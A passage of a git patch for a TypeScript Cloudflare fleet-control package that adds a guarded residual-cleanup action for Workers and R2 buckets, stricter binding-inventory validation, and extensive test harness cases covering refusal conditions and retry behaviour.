(const bucket of buckets) { + await fence.assertOwned(); + const reads = await Promise.allSettled([ + plane.client.getR2Bucket(bucket.bucketName, bucket.jurisdiction), + plane.client.getDatabase(resource.database.id), + plane.client.listWorkerDatabaseAttachments(resource.database.id), + plane.backend.assertApplicationR2Detached(bucket, fence), + ] as const); + const present = fulfilled(reads[0]); + if (fulfilled(reads[1]) || fulfilled(reads[2]).length > 0) + throw new DirectReferenceExecutionError(); + fulfilled(reads[3]); + if (!present) continue; + if (present.creationDate !== bucket.creationDate) + throw new DirectReferenceExecutionError(); + await plane.backend.assertApplicationR2Empty(bucket, fence); + await fence.assertOwned(); + await plane.backend.deleteApplicationR2Bucket(bucket, fence); + } + const final = await readForceFootprint( + context, + before, + resource, + plane, + ); + assertForceRecoveryState(final.observation); + assertForceWorkerAbsent(final.observation); + if ( + final.observation.buckets.some( + (bucket) => bucket.observedCreationDate !== null, + ) + ) + throw new DirectReferenceExecutionError(); + await assertForceAttachments(plane, resource, false); + await fence.assertOwned(); + return { returned: true, ...final }; + }); + }, + ); +} diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 11fdd806..611f9a93 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -11,6 +11,7 @@ import type { DirectReferenceAction } from './direct-reference-contract.mjs'; import { observeDirectForce, recoverDirectForce, + recoverDirectForceResidual, } from './direct-reference-force.js'; import { DirectReferenceExecutionError, @@ -202,6 +203,8 @@ async function dispatch( if (action.kind === 'force-recovery') return recoverDirectForce(context, manifest); if (action.kind === 'force-observe') return observeDirectForce(context); + if (action.kind === 'recover-force-residual') + return recoverDirectForceResidual(context); if (action.kind === 'tenant-probe') return probeDirectTenant(context, manifest, action, signal); if ('role' in action) diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index 5454bb1e..d33416d5 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -245,9 +245,27 @@ function bindingsFrom( ): readonly Readonly>[] { return value.map((binding) => { const record = plainRecord(binding); - if (!record) { + if ( + !record || + !boundedString(record.type) || + record.type !== record.type.trim() + ) { throw new Error('Cloudflare Worker binding inventory was malformed'); } + if (record.type === 'd1' || record.type === 'r2_bucket') { + const identity = + record.type === 'd1' ? record.database_id : record.bucket_name; + if ( + !boundedString(identity) || + identity !== identity.trim() || + (record.type === 'd1' && + Object.hasOwn(record, 'id') && + record.id !== '' && + record.id !== identity) + ) { + throw new Error('Cloudflare Worker binding inventory was malformed'); + } + } return record; }); } diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts index c3b93202..7c091552 100644 --- a/packages/fleet-control/test/direct-reference-contract.test.ts +++ b/packages/fleet-control/test/direct-reference-contract.test.ts @@ -44,6 +44,7 @@ const actions: readonly DirectReferenceAction[] = [ { kind: 'decommission-restart-blocked', role: 'recovery', token: [] }, { kind: 'force-recovery' }, { kind: 'force-observe' }, + { kind: 'recover-force-residual' }, { kind: 'tenant-probe', role: 'a', operation: 'health' }, { kind: 'tenant-probe', role: 'b', operation: 'object-put' }, { kind: 'tenant-probe', role: 'recovery', operation: 'object-read' }, diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index 934b9753..085adad9 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -552,7 +552,7 @@ describe.sequential('private force through native control state', { return { ready, receipt }; } - it('captures before the force phase write and retains the original witness across deletion failure and replay', async () => { + it('preserves force witnesses and resumes settled residual cleanup after exhausting the provider budget', async () => { const fixture = await createDirectReferenceHarness(); try { const names = fixture.manifest.names.roles.recovery; @@ -720,6 +720,662 @@ describe.sequential('private force through native control state', { ).response.status, ).toBe(409); expect(fixture.world.mutationLog).toEqual(after); + const archived = await fixture.journal().readForceAfter(); + const operations = await fixture.db + .prepare('SELECT * FROM direct_reference_operations ORDER BY slot') + .all(); + const exports = await fixture.exportBytes.list(); + const exhausted = await fixture.call({ kind: 'recover-force-residual' }); + expect(exhausted.response.status).toBe(500); + expect(exhausted.value).toMatchObject({ + ok: false, + error: { code: 'operation-refused' }, + }); + expect(exhausted.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '100', + ); + expect(retainedScript.present).toBe(false); + expect(retainedScript.versions).toEqual([]); + for (const resource of ready.applicationResources ?? []) + expect( + fixture.buckets.has( + `${resource.jurisdiction}:${resource.bucketName}`, + ), + ).toBe(false); + const exhaustedDeletes = fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ); + expect(await fixture.journal().readForceAfter()).toEqual(archived); + expect( + await fixture.fleetStore.readCleanupReceipt(receipt.operationId), + ).toEqual(receipt); + expect( + ( + await fixture.db + .prepare('SELECT * FROM direct_reference_operations ORDER BY slot') + .all() + ).results, + ).toEqual(operations.results); + await fixture.reload(); + const recovered = await fixture.success<{ + returned: true; + observation: Record; + }>({ kind: 'recover-force-residual' }); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + ).toEqual(exhaustedDeletes); + expect(recovered).toMatchObject({ + returned: true, + observation: { + beforeIdentitySha256: footprint.observation.beforeIdentitySha256, + fleetRecordPresent: false, + deploymentClaimsPresent: false, + database: { id: ready.databaseId, observedName: null }, + worker: { + scriptPresent: false, + currentVersionIds: null, + currentNamespaceIds: [], + survivingRecordedNamespaceIds: [], + customDomains: [], + zoneRoutes: [], + currentSecretNames: [], + }, + buckets: (ready.applicationResources ?? []).map((resource) => ({ + bucketName: resource.bucketName, + observedCreationDate: null, + })), + priorCleanup: { + operationId: receipt.operationId, + matchesBefore: true, + }, + }, + }); + expect(retainedScript.present).toBe(false); + expect(retainedScript.versions).toEqual([]); + expect(fixture.world.durableObjectNamespaces).toEqual([ + { + id: 'unrelated-namespace', + script: 'unrelated-script', + className: 'Other', + }, + ]); + for (const resource of ready.applicationResources ?? []) + expect( + fixture.buckets.has( + `${resource.jurisdiction}:${resource.bucketName}`, + ), + ).toBe(false); + const deletes = fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ); + await fixture.reload(); + expect( + await fixture.success({ kind: 'recover-force-residual' }), + ).toMatchObject({ + returned: true, + observation: recovered.observation, + }); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + ).toEqual(deletes); + expect(await fixture.success({ kind: 'force-observe' })).toEqual( + footprint, + ); + expect(await fixture.journal().readForceAfter()).toEqual(archived); + expect(await fixture.journal().readForceBefore()).toEqual(before); + expect( + ( + await fixture.db + .prepare('SELECT * FROM direct_reference_operations ORDER BY slot') + .all() + ).results, + ).toEqual(operations.results); + expect( + await fixture.fleetStore.readCleanupReceipt(receipt.operationId), + ).toEqual(receipt); + expect( + await fixture.fleetStore.get(names.tenantTag, environment), + ).toBeUndefined(); + expect((await fixture.exportBytes.list()).objects).toEqual( + exports.objects, + ); + expect(fixture.world.exports.size).toBe(exportCount); + } finally { + await fixture.close(); + } + }); + + it('refuses residual deletion when archived evidence or current ownership and resource facts change', async () => { + let hideAttachmentIdentity = false; + const fixture = await createDirectReferenceHarness({ + async providerResponse(request, response) { + const path = new URL(request.url).pathname; + if ( + !hideAttachmentIdentity || + request.method !== 'GET' || + !path.includes('/scripts/foreign-attachment/') || + !( + path.endsWith('/versions/foreign-version') || + path.endsWith('/settings') + ) + ) + return response; + const body = (await response.json()) as { + result: { + resources?: { bindings: Record[] }; + bindings?: Record[]; + }; + }; + const bindings = + body.result.resources?.bindings ?? body.result.bindings; + if (!bindings) + throw new Error('fixture attachment response is missing bindings'); + for (const binding of bindings) { + if (binding.type === 'd1') delete binding.database_id; + if (binding.type === 'r2_bucket') delete binding.bucket_name; + } + return Response.json(body, { + status: response.status, + headers: response.headers, + }); + }, + }); + try { + const { ready, receipt } = await readyRecovery(fixture); + const database = fixture.world.databases.find( + (entry) => entry.databaseId === ready.databaseId, + ); + if (!database) throw new Error('recovery database is missing'); + await fixture.success({ kind: 'force-recovery' }); + const mutations = [...fixture.world.mutationLog]; + const deletes = fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ); + async function refused(reason: string) { + const result = await fixture.call({ kind: 'recover-force-residual' }); + expect(result.value.ok, reason).toBe(false); + expect(fixture.world.mutationLog, reason).toEqual(mutations); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + reason, + ).toEqual(deletes); + } + await refused('missing force-after'); + await fixture.success({ kind: 'force-observe' }); + const archived = await fixture.journal().readForceAfter(); + if (!archived) throw new Error('force-after is missing'); + const original = JSON.parse(archived.identityJson); + async function storeAfter( + identityJson: string, + provenanceJson = archived?.provenanceJson, + ) { + if (!provenanceJson) throw new Error('force provenance is missing'); + const hash = (field: string, value: string) => + createHash('sha256') + .update( + JSON.stringify([ + 'observation', + fixture.manifest.resourcePrefix, + 'force-after', + 'recovery', + field, + value, + ]), + ) + .digest('hex'); + await fixture.db + .prepare( + "UPDATE direct_reference_observations SET identity_json=?,identity_sha256=?,provenance_json=?,provenance_sha256=? WHERE observation_kind='force-after'", + ) + .bind( + identityJson, + hash('identity', identityJson), + provenanceJson, + hash('provenance', provenanceJson), + ) + .run(); + } + const malformed = [ + { + ...original, + worker: { ...original.worker, scriptPresent: undefined }, + }, + { ...original, extra: true }, + { + ...original, + worker: { + ...original.worker, + currentVersionIds: [ + ...original.worker.currentVersionIds, + original.worker.currentVersionIds[0], + ], + }, + }, + { + ...original, + database: { ...original.database, id: 'foreign-database' }, + }, + { ...original, buckets: [] }, + ]; + for (const [index, observation] of malformed.entries()) { + await storeAfter(JSON.stringify(observation)); + expect(await fixture.journal().readForceAfter()).toBeDefined(); + await refused(`valid-hash malformed force-after ${index}`); + expect((await fixture.call({ kind: 'force-observe' })).value.ok).toBe( + false, + ); + } + for (const observation of [ + { ...original, fleetRecordPresent: true }, + { ...original, deploymentClaimsPresent: true }, + { + ...original, + database: { ...original.database, observedName: ready.databaseName }, + }, + { + ...original, + worker: { ...original.worker, workersDevEnabled: null }, + }, + { ...original, worker: { ...original.worker, scriptPresent: false } }, + { + ...original, + worker: { ...original.worker, currentVersionIds: null }, + }, + { + ...original, + buckets: original.buckets.map((bucket: Record) => ({ + ...bucket, + observedCreationDate: null, + })), + }, + { + ...original, + priorCleanup: { ...original.priorCleanup, matchesBefore: false }, + }, + ]) { + await storeAfter(JSON.stringify(observation)); + await refused('complete but unsuccessful initial footprint'); + } + await storeAfter( + archived.identityJson, + JSON.stringify({ startedAtMs: 0, completedAtMs: -1 }), + ); + await refused('valid-hash invalid provenance'); + await storeAfter(archived.identityJson); + await fixture.fleetStore.withDeploymentLease( + ready.tenantTag, + ready.environment, + (lease) => lease.put(ready), + ); + await refused('replacement fleet record'); + await fixture.fleetStore.withDeploymentLease( + ready.tenantTag, + ready.environment, + (lease) => { + if (!lease.deleteReleasingClaims) + throw new Error('claim release is unavailable'); + return lease.deleteReleasingClaims(); + }, + ); + const resource = ready.applicationResources?.[0]; + if (!resource) throw new Error('recovery bucket witness is missing'); + for (const [type, name, set] of [ + [ + 'worker-script', + 'unrelated-worker', + `deployment:${ready.tenantTag}:${ready.environment}`, + ], + ['worker-script', ready.scriptName, 'foreign-set'], + ['r2-bucket', resource.bucketName, 'foreign-set'], + ]) { + await fixture.db + .prepare( + 'INSERT INTO anchorage_platform_plane_claims (account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES (?,?,?,?,?,?)', + ) + .bind( + fixture.binding.accountId, + type, + name, + type === 'r2-bucket' ? 'deployment-r2' : 'deployment-worker', + set, + 'fixture-residual-foreign', + ) + .run(); + await refused(`visible ${type} claim ${name}`); + await fixture.db + .prepare( + "DELETE FROM anchorage_platform_plane_claims WHERE platform_plane_identity='fixture-residual-foreign'", + ) + .run(); + } + fixture.world.databases.push(database); + await refused('D1 reappeared'); + fixture.world.databases.splice( + fixture.world.databases.indexOf(database), + 1, + ); + const script = fixture.world.scripts.get(ready.scriptName); + if (!script) throw new Error('retained Worker is missing'); + script.subdomain.enabled = true; + await refused('workers.dev enabled'); + script.subdomain.enabled = false; + script.subdomain.previewsEnabled = true; + await refused('preview URLs enabled'); + script.subdomain.previewsEnabled = false; + fixture.world.customDomains.push({ + id: 'residual-domain', + hostname: 'foreign.example.test', + service: ready.scriptName, + }); + await refused('custom domain returned'); + fixture.world.customDomains.pop(); + fixture.world.zones.push({ id: 'residual-zone' }); + fixture.world.routes.push({ + zoneId: 'residual-zone', + id: 'residual-route', + pattern: 'foreign.example.test/*', + script: ready.scriptName, + }); + await refused('zone route returned'); + fixture.world.routes.pop(); + fixture.world.zones.pop(); + script.secretNames.add('FOREIGN_SECRET'); + await refused('secret returned'); + script.secretNames.delete('FOREIGN_SECRET'); + const versions = [...script.versions]; + const first = versions[0]; + if (!first) throw new Error('retained version is missing'); + script.versions.push({ ...first, versionId: 'foreign-version' }); + await refused('unrecorded version'); + script.versions = versions.filter( + (version) => version.versionId !== ready.artifactVersion, + ); + await refused('original version anchor missing'); + script.versions = []; + await refused('retained version inventory empty'); + script.versions = versions; + const namespaces = [...fixture.world.durableObjectNamespaces]; + fixture.world.durableObjectNamespaces.push({ + id: 'foreign-namespace', + script: ready.scriptName, + className: 'Foreign', + }); + await refused('unrecorded namespace'); + fixture.world.durableObjectNamespaces.splice( + 0, + fixture.world.durableObjectNamespaces.length, + ...namespaces.slice(1), + ); + await refused('recorded namespace missing'); + fixture.world.durableObjectNamespaces.splice( + 0, + fixture.world.durableObjectNamespaces.length, + ...namespaces, + ); + const bucketKey = `${resource.jurisdiction}:${resource.bucketName}`; + const bucket = fixture.buckets.get(bucketKey); + if (!bucket) throw new Error('retained bucket is missing'); + const creationDate = bucket.creation_date; + bucket.creation_date = new Date( + Date.parse(creationDate) + 1000, + ).toISOString(); + await refused('bucket incarnation changed'); + bucket.creation_date = creationDate; + fixture.buckets.delete(bucketKey); + await refused('bucket absent while Worker remains'); + fixture.buckets.set(bucketKey, bucket); + const objectKey = `${bucketKey}/foreign-object`; + await fixture.applicationBytes.put(objectKey, 'must survive'); + await refused('nonempty bucket prevents Worker deletion'); + expect( + await (await fixture.applicationBytes.get(objectKey))?.text(), + ).toBe('must survive'); + await fixture.applicationBytes.delete(objectKey); + for (const binding of [ + { type: 'd1', name: 'FOREIGN_DATABASE', database_id: ready.databaseId }, + { + type: 'r2_bucket', + name: 'FOREIGN_BUCKET', + bucket_name: resource.bucketName, + }, + ]) { + fixture.world.seedScript('foreign-attachment', { + versions: [ + { ...first, versionId: 'foreign-version', bindings: [binding] }, + ], + deployment: [{ versionId: 'foreign-version', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + await refused(`foreign ordinary ${binding.type} attachment`); + hideAttachmentIdentity = true; + await refused(`incomplete foreign ordinary ${binding.type} attachment`); + hideAttachmentIdentity = false; + expect( + fixture.world.scripts.get('foreign-attachment')?.versions[0] + ?.bindings, + ).toEqual([binding]); + fixture.world.scripts.delete('foreign-attachment'); + fixture.world.dispatchNamespaces.push({ + name: 'foreign-dispatch', + scripts: [{ name: 'foreign-attachment', bindings: [binding] }], + }); + await refused(`foreign dispatch ${binding.type} attachment`); + hideAttachmentIdentity = true; + await refused(`incomplete foreign dispatch ${binding.type} attachment`); + hideAttachmentIdentity = false; + expect( + fixture.world.dispatchNamespaces.at(-1)?.scripts[0]?.bindings, + ).toEqual([binding]); + fixture.world.dispatchNamespaces.pop(); + } + const completedAtMs = receipt.completedAtMs; + if (completedAtMs === undefined) + throw new Error('cleanup completion time is missing'); + await fixture.db + .prepare( + 'UPDATE anchorage_fleet_cleanup_receipts SET completed_at_ms=? WHERE operation_id=?', + ) + .bind(completedAtMs + 1, receipt.operationId) + .run(); + await refused('historical receipt changed'); + await fixture.db + .prepare( + 'UPDATE anchorage_fleet_cleanup_receipts SET completed_at_ms=? WHERE operation_id=?', + ) + .bind(completedAtMs, receipt.operationId) + .run(); + for (const fault of ['claim', 'lease'] as const) { + let applied = false; + fixture.world.afterNext('listCustomDomains', async () => { + if (fault === 'claim') { + await fixture.db + .prepare( + 'INSERT INTO anchorage_platform_plane_claims (account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES (?,?,?,?,?,?)', + ) + .bind( + fixture.binding.accountId, + 'worker-script', + ready.scriptName, + 'deployment-worker', + 'foreign-set', + 'fixture-residual-foreign', + ) + .run(); + } else { + await fixture.db + .prepare( + 'UPDATE anchorage_fleet_leases SET owner_token=? WHERE tenant_tag=? AND environment=?', + ) + .bind('foreign-lease-owner', ready.tenantTag, ready.environment) + .run(); + } + applied = true; + }); + await refused(`${fault} changed during provider reads`); + expect(applied).toBe(true); + await fixture.db + .prepare( + "DELETE FROM anchorage_platform_plane_claims WHERE platform_plane_identity='fixture-residual-foreign'", + ) + .run(); + await fixture.db + .prepare( + "DELETE FROM anchorage_fleet_leases WHERE owner_token='foreign-lease-owner'", + ) + .run(); + } + expect(await fixture.journal().readForceAfter()).toEqual(archived); + expect( + await fixture.fleetStore.readCleanupReceipt(receipt.operationId), + ).toEqual(receipt); + expect( + await fixture.success({ kind: 'recover-force-residual' }), + ).toMatchObject({ returned: true }); + expect(fixture.bridgeErrors).toEqual([]); + } finally { + await fixture.close(); + } + }); + + it('retries settled residual deletions without duplicating committed Worker or bucket deletes', async () => { + const fixture = await createDirectReferenceHarness(); + try { + const { ready, receipt } = await readyRecovery(fixture); + await fixture.success({ kind: 'force-recovery' }); + const observed = await fixture.success({ kind: 'force-observe' }); + const resource = ready.applicationResources?.[0]; + const script = fixture.world.scripts.get(ready.scriptName); + if (!resource || !script) throw new Error('residual fixture is missing'); + const bucketKey = `${resource.jurisdiction}:${resource.bucketName}`; + const originalDeletes = fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ).length; + fixture.world.failNext('deleteWorkerScript', { dispatched: false }); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect(fixture.world.peekFailure('deleteWorkerScript')).toBeUndefined(); + expect(script.present).toBe(true); + expect(fixture.buckets.has(bucketKey)).toBe(true); + const namespaces = [...fixture.world.durableObjectNamespaces]; + fixture.world.failNext('deleteWorkerScript', { dispatched: true }); + fixture.world.afterNext('deleteWorkerScript', () => { + fixture.world.durableObjectNamespaces.push( + ...namespaces.map((namespace) => ({ + ...namespace, + script: 'provider-lag', + })), + ); + }); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect(script.present).toBe(false); + expect(fixture.buckets.has(bucketKey)).toBe(true); + expect( + fixture.world.mutationLog.filter( + (entry) => entry === `delete-script:${ready.scriptName}`, + ), + ).toHaveLength(1); + const afterWorker = fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ); + expect(afterWorker).toHaveLength(originalDeletes + 2); + await fixture.reload(); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + ).toEqual(afterWorker); + expect(fixture.buckets.has(bucketKey)).toBe(true); + fixture.world.durableObjectNamespaces.length = 0; + fixture.world.failNext('deleteApplicationR2Bucket', { + dispatched: false, + }); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect( + fixture.world.peekFailure('deleteApplicationR2Bucket'), + ).toBeUndefined(); + expect(fixture.buckets.has(bucketKey)).toBe(true); + fixture.world.failNext('deleteApplicationR2Bucket', { dispatched: true }); + fixture.world.afterNext('deleteApplicationR2Bucket', () => { + fixture.world.failNext('getApplicationR2Bucket', { dispatched: false }); + }); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect( + fixture.world.peekFailure('deleteApplicationR2Bucket'), + ).toBeUndefined(); + expect(fixture.buckets.has(bucketKey)).toBe(false); + const afterBucket = fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ); + expect(afterBucket).toHaveLength(originalDeletes + 4); + await fixture.db + .prepare( + 'INSERT INTO anchorage_platform_plane_claims (account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES (?,?,?,?,?,?)', + ) + .bind( + fixture.binding.accountId, + 'r2-bucket', + resource.bucketName, + 'deployment-r2', + 'foreign-set', + 'fixture-residual-foreign', + ) + .run(); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + ).toEqual(afterBucket); + await fixture.db + .prepare( + "DELETE FROM anchorage_platform_plane_claims WHERE platform_plane_identity='fixture-residual-foreign'", + ) + .run(); + await fixture.reload(); + expect( + (await fixture.call({ kind: 'recover-force-residual' })).value.ok, + ).toBe(false); + expect( + fixture.world.peekFailure('getApplicationR2Bucket'), + ).toBeUndefined(); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + ).toEqual(afterBucket); + expect( + await fixture.success({ kind: 'recover-force-residual' }), + ).toMatchObject({ returned: true }); + expect( + fixture.projection.requests.filter( + (request) => request.method === 'DELETE', + ), + ).toEqual(afterBucket); + expect(await fixture.success({ kind: 'force-observe' })).toEqual( + observed, + ); + expect( + await fixture.fleetStore.readCleanupReceipt(receipt.operationId), + ).toEqual(receipt); + expect(fixture.bridgeErrors).toEqual([]); } finally { await fixture.close(); } diff --git a/packages/fleet-control/test/direct-reference-worker.harness.test.ts b/packages/fleet-control/test/direct-reference-worker.harness.test.ts index 6862f552..d717b214 100644 --- a/packages/fleet-control/test/direct-reference-worker.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-worker.harness.test.ts @@ -94,6 +94,10 @@ export default {async fetch(request,env){ try{const worker=createDirectReferenceWorker({...manifest,referenceRuntime:{...manifest.referenceRuntime,invocationTimeoutMs:1000}},{fetch:provider});const response=await worker.fetch(request,current);return Response.json({status:response.status,observedFailure,body:await response.json(),providerCalls:calls.length});} finally{Object.defineProperty(performance,'now',{configurable:true,value:oldNow});DirectReferenceTransport.prototype.snapshot=oldSnapshot;} } + if(mode==='residual-claims'){ + const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider}); + return Response.json({sameSet:await context.recoveryClaimSetPresent(),exact:await context.recoveryResidualClaimsPresent('witness-script',["witness-'bucket"]),emptyBuckets:await context.recoveryResidualClaimsPresent('witness-script',[]),providerCalls:calls.length}); + } if(mode==='observations'){ const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider}); const spec=context.spec('a','initial'),digest=deploymentSpecDigest(spec); @@ -224,6 +228,126 @@ export default {async fetch(request,env){ expect(response.headers.get('X-Fixture-Calls')).toBe('[]'); }); + it('checks the fixed recovery set and exact witness keys across claim owners', async () => { + const recoverySet = `deployment:${manifest.names.roles.recovery.tenantTag}:${manifest.environment}`; + const cases = [ + [ + 'account', + 'worker-script', + 'unrelated-script', + recoverySet, + true, + true, + true, + ], + [ + 'account', + 'worker-script', + 'witness-script', + 'foreign-set', + false, + true, + true, + ], + [ + 'account', + 'r2-bucket', + "witness-'bucket", + 'foreign-set', + false, + true, + false, + ], + [ + 'account', + 'worker-script', + 'witness-script-extra', + 'foreign-set', + false, + false, + false, + ], + [ + 'account', + 'r2-bucket', + "witness-'bucket-extra", + 'foreign-set', + false, + false, + false, + ], + [ + 'another-account', + 'worker-script', + 'witness-script', + recoverySet, + false, + false, + false, + ], + [ + 'another-account', + 'r2-bucket', + "witness-'bucket", + recoverySet, + false, + false, + false, + ], + ] as const; + for (const [ + account, + type, + name, + set, + sameSet, + exact, + emptyBuckets, + ] of cases) { + await db + .prepare( + 'INSERT INTO anchorage_platform_plane_claims(account_id,resource_type,resource_name,resource_role,resource_set_key,platform_plane_identity) VALUES(?,?,?,?,?,?)', + ) + .bind( + account, + type, + name, + type === 'r2-bucket' ? 'deployment-r2' : 'deployment-worker', + set, + 'foreign-owner', + ) + .run(); + try { + const response = await call( + { kind: 'control-read' }, + 'residual-claims', + ); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ + sameSet, + exact, + emptyBuckets, + providerCalls: 0, + }); + } finally { + await db + .prepare( + 'DELETE FROM anchorage_platform_plane_claims WHERE account_id=? AND resource_type=? AND resource_name=?', + ) + .bind(account, type, name) + .run(); + } + } + expect( + await (await call({ kind: 'control-read' }, 'residual-claims')).json(), + ).toEqual({ + sameSet: false, + exact: false, + emptyBuckets: false, + providerCalls: 0, + }); + }); + it('retains resource and settlement identities through real context producers', async () => { const response = await call({ kind: 'control-read' }, 'observations'); expect(response.status).toBe(200); diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index d5f9dc28..7751d98d 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -32,6 +32,10 @@ export async function createDirectReferenceHarness( policy: Readonly<{ maintenanceNow?: () => number; applicationFetch?: (request: CloudflareFixtureRequest) => Promise; + providerResponse?: ( + request: CloudflareFixtureRequest, + response: Response, + ) => Promise; }> = {}, ) { const manifest = directFixtureManifest(); @@ -80,7 +84,10 @@ export async function createDirectReferenceHarness( request: CloudflareFixtureRequest, ): Promise { try { - return await rest(request); + const response = await rest(request); + return policy.providerResponse + ? await policy.providerResponse(request, response) + : response; } catch (error) { if ( new URL(request.url).pathname.endsWith('/query') && @@ -202,6 +209,18 @@ export async function createDirectReferenceHarness( return single({ buckets: selected }); } const key = `${jurisdiction}:${name}`; + if ( + !match[2] && + request.method === 'GET' && + world.consumeFailure('getApplicationR2Bucket') + ) + return Response.json( + { + success: false, + errors: [{ code: 10000, message: 'fixture bucket read denied' }], + }, + { status: 403 }, + ); const descriptor = buckets.get(key); if (!descriptor) return Response.json({ errors: [] }, { status: 404 }); const prefix = `${key}/`; @@ -226,10 +245,22 @@ export async function createDirectReferenceHarness( } if (!match[2] && request.method === 'GET') return single(descriptor); if (!match[2] && request.method === 'DELETE') { + const failure = world.consumeFailure('deleteApplicationR2Bucket'); + const failed = () => + Response.json( + { + success: false, + errors: [{ code: 1, message: 'fixture bucket deletion failed' }], + }, + { status: 400 }, + ); + if (failure && !failure.dispatched) return failed(); const objects = await applicationBytes.list({ prefix, limit: 1 }); if (objects.objects.length) return new Response('bucket nonempty', { status: 409 }); buckets.delete(key); + await world.applyAfter('deleteApplicationR2Bucket'); + if (failure) return failed(); return single({}); } throw new Error('unexpected fixture R2 method'); diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index b6874e1f..addfd527 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -250,6 +250,105 @@ const D1_TARGET = { kind: 'd1', databaseId: 'target-db' } as const; const R2_TARGET = { kind: 'r2', bucketName: 'target-bucket' } as const; describe('Cloudflare Worker attachment scan', () => { + describe.each([ + 'ordinary', + 'dispatch', + ] as const)('%s binding identities', (plane) => { + it.each([ + { + kind: 'd1', + target: D1_TARGET, + field: 'database_id', + identity: 'target-db', + }, + { + kind: 'r2_bucket', + target: R2_TARGET, + field: 'bucket_name', + identity: 'target-bucket', + }, + ])('refuses incomplete $kind selectors before reporting absence', async ({ + kind, + target, + field, + identity, + }) => { + const scan = (bindings: readonly Readonly>[]) => { + const world: AttachmentWorld = { + ordinary: + plane === 'ordinary' + ? [ + { + id: 'foreign', + versions: [{ id: 'v1', percentage: 100, bindings }], + }, + ] + : [], + namespaces: + plane === 'dispatch' + ? [ + { + name: 'foreign-plane', + pages: [{ scripts: ['foreign'] }], + bindings: { foreign: bindings }, + }, + ] + : [], + }; + return drain(client(recordingFetch(worldHandler(world)).fetch), target); + }; + const binding = { type: kind, [field]: identity }; + expect((await scan([binding])).attachments).toHaveLength(1); + for (const value of [ + undefined, + null, + false, + 0, + {}, + '', + ' ', + ` ${identity}`, + `${identity} `, + ]) { + await expect(scan([{ ...binding, [field]: value }])).rejects.toThrow( + 'binding inventory was malformed', + ); + } + for (const type of [undefined, null, false, '', ' ', `${kind} `]) { + await expect(scan([{ ...binding, type }])).rejects.toThrow( + 'binding inventory was malformed', + ); + } + expect( + (await scan([{ ...binding, [field]: 'other-resource' }])).attachments, + ).toEqual([]); + expect( + ( + await scan([ + { type: 'plain_text', text: identity }, + { type: 'future_binding' }, + ]) + ).attachments, + ).toEqual([]); + expect((await scan([])).attachments).toEqual([]); + if (kind === 'd1') { + for (const id of ['', identity]) { + expect((await scan([{ ...binding, id }])).attachments).toHaveLength( + 1, + ); + } + for (const id of [null, false, 'different-id']) { + await expect(scan([{ ...binding, id }])).rejects.toThrow( + 'binding inventory was malformed', + ); + } + await expect(scan([{ type: 'd1', id: identity }])).rejects.toThrow( + 'binding inventory was malformed', + ); + } + }); + }); + it('resumes a D1 scan across every ordinary version and dispatch page', async () => { const events: string[] = []; const world: AttachmentWorld = { From 75435e7054c6bbf1813ca7e43154d9af1f4cd107 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 16:54:23 +0400 Subject: [PATCH 126/169] feat(fleet-control): build default direct conformance artifacts --- .../scripts/direct-artifacts-packed.mjs | 136 ++++++++ .../direct-credentialed-artifacts.d.mts | 27 ++ .../scripts/direct-credentialed-artifacts.mjs | 322 ++++++++++++++++++ 